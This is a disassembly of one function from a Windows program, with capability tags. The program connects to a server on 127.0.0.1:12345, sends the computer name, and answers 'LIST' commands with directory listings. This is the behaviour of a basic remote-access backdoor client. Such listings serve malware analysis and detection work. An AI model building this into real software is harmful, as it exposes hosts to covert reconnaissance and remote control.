Function at 0x140001ce0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Create thread
Get hostname
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
xor ebx, ebx
mov dword [rbp - 0x38], 1
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
xor r8d, r8d
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x50]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
mov ecx, 0x202
lea rdx, [rbp - 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001d65
lea rdx, str.Erro_na_inicializa
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002910
lea rdx, [0x140002af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001db1
mov edx, 1
mov edi, 2
mov r8d, 6
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x30], rax
cmp rax, 0xffffffffffffffff
jne 0x140001dda
lea rdx, str.Erro_ao_criar_o_socket
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002910
lea rdx, [0x140002af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.140003380
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
mov word [rbp - 0x48], di
mov ecx, 0x6987
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x46], ax
lea r8, [rbp - 0x44]
lea rdx, str.127.0.0.1
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x48]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001e4d
lea rdx, str.Erro_ao_conectar_ao_servidor
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002910
lea rdx, [0x140002af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001dab
lea rdx, str.Conectado_ao_servidor_em_127.0.0.1:12345
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002910
lea rdx, [0x140002af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x38], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test eax, eax
je 0x140001f09
lea rdx, str.Nome_do_computador:
call fcn.140002b30
mov rcx, rax
lea rdx, [rbp + 0x180]
call fcn.140002b30
lea rdx, [0x140002d10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rax, [rbp + 0x180]
mov r8, 0xffffffffffffffff
nop
lea r8, [r8 + 1]
cmp word [rax + r8*2], bx
jne 0x140001ed0
lea r8d, [r8*2 + 2]
xor r9d, r9d
lea rdx, [rbp + 0x180]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140001f25
lea rdx, str.Erro_ao_enviar_o_nome_do_computador_ao_servidor
jmp 0x140001e21
lea rdx, str.Falha_ao_obter_o_nome_do_computador
call fcn.140002b30
lea rdx, [0x140002d10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 8
call fcn.140003640
lea rcx, [rsp + 0x30]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140003330]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14000238c
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x1a0]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400021c8
nop
mov ecx, eax
cmp rcx, 0x200
jae 0x14000239c
mov byte [rbp + rcx + 0x1a0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rbx
lea rax, [rbp + 0x1a0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001fc5
lea rdx, [rbp + 0x1a0]
lea rcx, [rsp + 0x70]
call fcn.140002ed0
nop
lea rcx, [rsp + 0x70]
mov r9, qword [rsp + 0x70]
mov r10, qword [rbp - 0x78]
cmp r10, 0xf
cmova rcx, r9
mov rdx, qword [rbp - 0x80]
cmp rdx, 5
jb 0x14000216c
mov rax, rcx
cmp byte [rax], 0x4c
jne 0x14000201b
cmp dword [rax], 0x5453494c
jne 0x14000201b
cmp byte [rax + 4], 0x20
je 0x140002029
cmp rax, rcx
je 0x14000216c
dec rax
jmp 0x140002008
sub rax, rcx
jne 0x14000216c
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
cmp rdx, 5
jb 0x1400023a2
lea rax, [rdx - 5]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x70]
cmp r10, 0xf
cmova rdx, r9
add rdx, 5
lea rcx, [rbp - 0x70]
call fcn.140002ed0
nop
lea r8, [rbp - 0x70]
lea rcx, [rsp + 0x40]
call fcn.140001530
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400021e1
lea rdx, str.Lista_de_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002910
lea rdx, [0x140002af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002115
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002110
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002239
call fcn.140003684
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], socket
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002163
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000215e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000228a
call fcn.140003684
mov r9, qword [rsp + 0x70]
mov r10, qword [rbp - 0x78]
cmp r10, 0xf
jbe 0x1400021a3
lea rdx, [r10 + 1]
mov rax, r9
cmp rdx, 0x1000
jb 0x14000219b
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400022d8
mov rcx, r9
call fcn.140003684
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x1a0]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140001f90
test eax, eax
jne 0x1400022df
lea rdx, str.Conex
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x1400022ed
lea rdx, str.Erro_ao_enviar_lista_de_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002910
lea rdx, [0x140002af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002245
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002240
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002240
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003684
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], socket
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002297
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002291
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002291
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003684
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002302
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003684
jmp 0x140002302
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Erro_ao_receber_dados_do_servidor
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002910
lea rdx, [0x140002af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rsp + 0x68], 0
jne 0x140002315
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rsp + 0x68], eax
jne 0x14000232d
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm0
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x140002352
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
nop
cmp dword [rsp + 0x68], 0
je 0x140002385
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
jmp 0x140001db6
mov dword [rsp + 0x68], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.1400034a8
nop
call fcn.1400028f0
int3